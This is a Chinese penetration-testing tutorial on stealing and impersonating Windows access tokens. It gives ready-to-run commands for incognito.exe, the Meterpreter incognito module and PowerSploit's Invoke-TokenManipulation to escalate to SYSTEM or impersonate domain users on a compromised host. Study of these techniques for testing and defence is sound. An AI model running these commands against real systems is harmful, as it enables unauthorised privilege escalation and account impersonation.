内网渗透之AccessToken窃取与利用

2023-11-17

令牌(Token)

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

令牌有很多种:

  • 访问令牌(Access Token):表示访问控制操作主体的系统对象
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符
  • 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

Windows的AccessToken有两种类型:

  • Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话 (例如使用net use访问共享文件夹)。

注: 两种token只在系统重启后清除 具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。

AccessToken的窃取与利用

AccessToken的窃取与利用需要administrator管理员权限。也就是说要提权。

窃取AccessToken的方法:

incognito.exe程序 、InvokeTokenManipulat.ps1脚本 、MSF里的incognito模块

1:程序 incognito.exe

程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

AccessToken的列举(需要administrator权限)

incognito.exe list_tokens -u

img

操作:模拟其他用户的令牌(复制token)

如果要使用AccessToken模拟其他用户,可以使用命令

incognito.exe execute -c "完整的Token名" cmd.exe

例如:模拟system权限用户(提权至system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe

img

2:MSF下的incognito模块

需要administrator权限

use incognito #加载incognito
list_tokens -u #列出AccessToken
getuid    #查看当前token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
steal_token 1252 #从进程窃取token
getsystem #提升至system权限
rev2self #返回到之前的AccessToken权限

img

3:Invoke-TokenManipulation.ps1脚本

这个脚本是PowerSploit下Exfiltration文件夹内的一个脚本

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

使用命令如下:

列举token:
Invoke-TokenManipulation -Enumerate
提权至system:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
复制(窃取)进程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制(窃取)线程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

img

img

MSF实战假冒令牌提权

假设我们现在已经获得了目标主机的权限,但是通过 getsystem 和其他方式提权失败。

img

此时,我们可以尝试使用假冒令牌进行提权。

use incognito           #进入incognito模块
list_tokens -u          #列出令牌

如图,可以看到有两种类型的令牌。

  • Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话。

令牌的数据取决于当前获取权限的高低。

img

当前列出了3个令牌。我们就可以通过下面的命令假冒 Administrator 用户了。

impersonate_token WIN2008\\adminstrator     #假冒WIN2008\adminstrator  的令牌
impersonate_token WIN2008\\test             #假冒WIN2008\test          的令牌
impersonate_token "NT AUTHORITY\SYSTEM"     #假冒System的令牌
 
从进程窃取令牌
steal_token 1252
返回之前的token
rev2self

img

原文:https://blog.csdn.net/qq_36119192/article/details/103965659

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

内网渗透之AccessToken窃取与利用 的相关文章

  • python字典取值的几种方法

    Python 字典 dictionary 是一种可变容器模型 可以存储任意数量的任意类型的数据 字典中的每个元素由一个键和一个值组成 键和值之间用冒号分隔 字典通常用于存储键值对的数据 例如在数据库中存储记录 以下是 Python 字典取值
  • Unity将屏幕坐标转为世界坐标的思路

    1 使用ScreenToWorldPoint将获取的屏幕位置直接转成世界坐标 坑1 获取的屏幕坐标Input mousePosition是一个2d坐标 z轴值为0 这个z值是相对于当前camera的 为零表示z轴与相机重合了 因此给Scre
  • Floyd算法

    Floyd算法又称为插点法 是一种利用动态规划的思想寻找给定的加权图中多源点之间最短路径的算法 与Dijkstra算法类似 该算法名称以创始人之一 1978年图灵奖获得者 斯坦福大学计算机科学系教授罗伯特 弗洛伊德命名 Dijkstra算法
  • Unsatisfied dependency expressed through field ‘userMapper‘问题解决

    SSM框架练手 mapper层 Autowire创建bean怎么也不成功 报错 org springframework beans factory UnsatisfiedDependencyException Error creating
  • JS 两个对象数组根据id去重 / 取补集

    let arr1 id 1 name a id 2 name b id 3 name c let arr2 id 1 name a let newArr arr1 filter item gt arr2 some val gt item1
  • 硬盘运行与“AHCI 模式”还是“IDE 模式” 分类: 生活百科 ...

    如今SATA硬盘越来越流行 最新购买或者组装的电脑 基本都安装新一代的SATA硬盘 由于绝大多数BIOS初始设置是 IDE模式 安装的windows XP和vista系统 并没有运行发挥最大性能的 AHCI模式 到底自己的系统是否运行与 A
  • SQL语句详解(四)——SQL联表查询

    今天我们继续给大家介绍MySQL相关知识 本文主要内容是SQL联表查询 一 SQL联表查询简介 在前文SQL语句详解 三 SQL子查询中 我们给大家介绍了SQL子查询的相关知识和使用示例 实际上 如果涉及到SQL多个表之间的查询 使用SQL
  • Java面向对象——图书管理系统(小白也能看的懂!)

    文章目录 一 功能介绍 二 JAVA面向对象思想 包的分装 1 book包 2 user包 较复杂 3 operation包 接口包 三 代码框架的搭建 1 book包 Book类 2 book包 BookList类 3 operation
  • 手机如何远程控制挂机宝? 影云挂机宝

    首先我们需要知道挂机宝是什么 挂机宝就相当于云电脑 24小时在线挂机 1 手机远程的话我们需要用到一个软件 微软远程桌面 远程桌面软件很多 这个随意 喜欢用哪个都行 安卓下载 https www lanzous com i2i8bti 密码
  • android Jar文件的数字签名

    转自 http hubingforever blog 163 com blog static 17104057920118104058241 JAR文件可以用 jarsigner工具或者直接通过 java securityAPI 签名 签名
  • 利用ChatGPT提高代码质量的5种方法

    本文首发于公众号 更AI power ai 欢迎关注 编程 AI干货及时送 5个可以提升你日常工作效率的ChatGPT特性 如何利用它提高代码质量 ChatGPT已经彻底改变了开发代码的方式 然而 大多数软件开发人员和数据专业人员仍然没有使
  • 坐标移动Python

    A 向左移动 D 向右移动 W 向上移动 S 向下移动 从 0 0 点开始移动 输入 合法坐标为A 或者D或者W或者S 数字 两位以内 非法坐标点需要进行丢弃 如AA10 A1A YAD 等 flag input split for ite
  • python如何快速采集美~女视频?无反爬

    人生苦短 我用python 这次康康能给大家整点好看的不 环境使用 Python 3 8 Pycharm mou歌浏览器 mou歌驱动 gt 驱动版本要和浏览器版本最相近 lt 大版本一样 小版本最相近 gt 模块使用 requests g
  • ARM Mbed网络监控温度

    硬件 软件 介绍 温度测量是最基本 最常执行的测量之一 它可以是房间的温度 人的温度或设备的温度 能够通过Internet远程监视温度具有许多潜在的重要应用 例如 许多老人独自生活 如果他们生病了 可能要过一段时间才能发现他们处于危机中 如
  • 蜡笔小新学java

    javase基础 javase基础持续更新中 标识符 基本数据类型 随机数 算数运算符 Scanner扫描枪 赋值运算符 扩展赋值运算符 关系运算符 逻辑运算符 三元运算符 流程控制语句 if语法 switch语句 流程控制语句之循环结构
  • 基于 PyTorch实现YOLOv5

    目录 The First Article 前言 实现环境 基本流程 数据准备 建立模型 训练模型 模型评估 图片预测 视频预测 The First Article 前言 本文记录基于PyTorch实现Github作者ultralytics的
  • Audience Insights被下架后,Facebook广告定位的最佳替代方案

    从 2021 年 7 月 1 日起 Audience Insights 将不再可用 相反 我们建议人们使用 Facebook Business Suite Insights 该工具可让你访问 Facebook 和 Instagram 上的受
  • zookeeper看这一篇就够了

    第一章 zookeeper简介 第1节 zookeeper的由来 1 2 3 4 1 zookeeper最早起源于雅虎研究院的一个研究小组 2 在雅虎内部很多大型系统基本都需要依赖一个类似的系统来进行分布式协调 并且这个系统还有单点问题 3
  • opencv中match与KnnMatch返回值解释

    match与KnnMatch返回值解释 之前一直不明白match与knnmatch的返回值到底是什么 查阅了一些资料才理解 其实二者都是返回的DMatch类型的数据结构 先说一下 match bf cv BFMatcher create m
  • OpenCv.js(图像处理)学习历程

    opencv js官网 4 5 0文档 以下内容整理于opencv js官网 简介 OpenCV由Gary Bradski于1999年在英特尔创建 第一次发行是在2000年 OpenCV支持c Python Java等多种编程语言 支持Wi

随机推荐

  • linux虚拟机18.04无法使用电脑自带摄像头

    TOC教你怎么正确开启摄像头 首先查看你的window下摄像头是否正常使用 简单操作 可以点击 开始 搜索相机运行 如果运行成功就说明在window下可以正常使用 虚拟机如何调用摄像头 我是linux18 04 可以简单测试一下电脑自带摄像
  • CUDA编程基础

    文章目录 Cuda编程结构 编程语句 获取GPU数量 获取设备属性 设置设备参数 Parameters Parameters 释放与GPU相关的所有资源 主机与设备都可用的内存函数 时间函数 CUDA核函数 函数类型限定符 CUDA核函数的
  • 二、获取数据库连接

    一 Driver 接口 java sql Driver 接口是所有 JDBC 驱动程序需要实现的接口 这个接口是提 供给数据库厂商使用的 不同数据库厂商提供不同的实现 在程序中不需要直接去访问实现了 Driver 接口的类 而是由驱动程序管
  • Prime Cuts【预处理】【素数筛法】

    有些东西只有你WA的多了 才有发言权 题记 题面 A prime number is a counting number 1 2 3 that is evenly divisible only by 1 and itself In this
  • SpringBoot中如何在一个模块中引入另一个模块

    SpringBoot中如何在一个模块中引入另一个模块 实例 1 springBoot中有cms dev项目 下面有ai模块和dms模块 而且ai模块中没有启动类 需要将ai引入到dms模块中 解决方案 1 在需要调用的模块的pom文件中添加
  • 关于ElasticSearch的_type类型

    type是es早期版本的设计缺陷 在5 x以前的版本里边 一个index下面是支持多个type的 在6 x的版本里改为一个index只支持一个type type可以自定义 7 x的版本所有的type默认为 doc 自定义type也能用 但是
  • 华兴数控g71外圆循环编程_数控车床G71,G70编程实例(一)

    正明天车也要编 先编好 大多数产品都可以用G71开粗 G70精车 新程序开头一般要取消很多暗中存在的指令 我们家机床就是 据说有一次某新同事没在程序前加G97 导致开机转速过高 产品就飞了出来 把门都砸坏了 人没事 大吉大利 别说后面一句
  • 景联文科技牵头制定的《信息技术 可扩展的生物特征识别数据交换格式 第4部分:指纹图像数据》国家标准启动会暨研讨会在杭州顺利召开

    2023年9月19日 由杭州景联文科技有限公司牵头制定的 信息技术 可扩展的生物特征识别数据交换格式 第4部分 指纹图像数据 国家标准启动会暨起草组工作会议在杭州顺利召开 来自中国电子技术标准化研究院 熵基科技 名光微电子科技 广州麦仑信息
  • RPC实践(四)Dubbo实践

    Dubbo是一款重要的RPC框架 它是Alibaba开源的分布式服务框架 它主要特点 提供了注册中心来进行服务的管理 支持zookeeper redis等方式来实现注册中心 Dubbo按照分层的方式来架构 使用这种方式可以使各个层之间解耦合
  • Ubuntu18.04/20.04 Mendeleydesktop 安装及问题解决

    文章目录 安装 Issue Reference 安装 下载最新版本 Download Mendeley Desktop for Ubuntu Debian 32 Bit Download Mendeley Desktop for Ubunt
  • docker入门笔记(基础版)

    镜像命令 查看docker概要信息 docker info 列出本地主机上的镜像 docker images docker images a 查看远程库的镜像 docker search xx 下载镜像 在这里插入代码片 docker pu
  • 服务器无响应(已断开),服务器无响应 已断开(服务器无响应)

    服务器无响应是怎么回事 首先 检查其他人的电脑或您的手机等设备是否能正常连接到网络并打开网站 如果其他设备无法打开 当然 您的网络有问题 否则 你的电脑有问题 这时 先尝试重启电脑电脑重启电脑是不够的 可以尝试自己修复一些免费的DNS地址
  • 深度学习经典网络解析图像分类篇(一):LeNet-5

    深度学习经典网络解析图像分类篇 一 LeNet 5 1 背景介绍 2 LeNet 5网络架构 2 1输入层 2 2第一层 卷积层C1 2 3第二层 池化层S2 下采样 2 3第三层 卷积层C3 第四层 池化层S4 第五层 卷积层C5 第六层
  • 无序(未排序)数组二分查找

    二分查找也称折半查找 Binary Search 它是一种效率较高的查找方法 但是 折半查找要求线性表必须采用顺序存储结构 而且表中元素按关键字有序排列 但是对于无序数组 我们可以先排序在二分 但还有一种技巧就是结合快排的思想 即每次选择一
  • 电脑提示msvcp110.dll是什么意思?msvcp110.dll丢失修复办法分享

    当我们使用电脑时 有时候会出现一些错误提示 其中就包括了 msvcp110 dll 丢失 的提示 那么 这个提示是什么意思呢 电脑提示找不到msvcr110 dll怎么办 我们在使用电脑的时候 总是会遇到很多的电脑难题 当我们在遇到了缺少m
  • CMake中while/continue/break的使用

    CMake中的while命令用于在条件为true时评估 evaluate 一组命令 其格式如下 while
  • 使用Numpy创建三维矩阵

    1 创建语句 创建形式有两种 1 随机数形式 np random random x y z 2 0或1形式 np ones x y z np zeros x y z 2 x y z 的含义 如果把x y z想做一个空间直角坐标系 那么x就相
  • SpringCloud环境搭建及入门案例

    技术选型 Maven 3 8 4 SpringBoot 2 7 8 SpringCloud 2021 0 4 SpringCloudAlibaba 2022 0 1 0 Nacos 2 1 1 Sentinel 1 8 5 模块设计 父工程
  • iptables上如何封IP

    一 封单个IP 1 封锁单个ip iptables I INPUT s IP j DROP root node1 iptables I INPUT s 192 168 1 11 j DROP root node1 iptables L Ch
  • 内网渗透之AccessToken窃取与利用

    文章目录 令牌 Token AccessToken的窃取与利用 1 程序 incognito exe 2 MSF下的incognito模块 3 Invoke TokenManipulation ps1脚本 MSF实战假冒令牌提权 令牌 To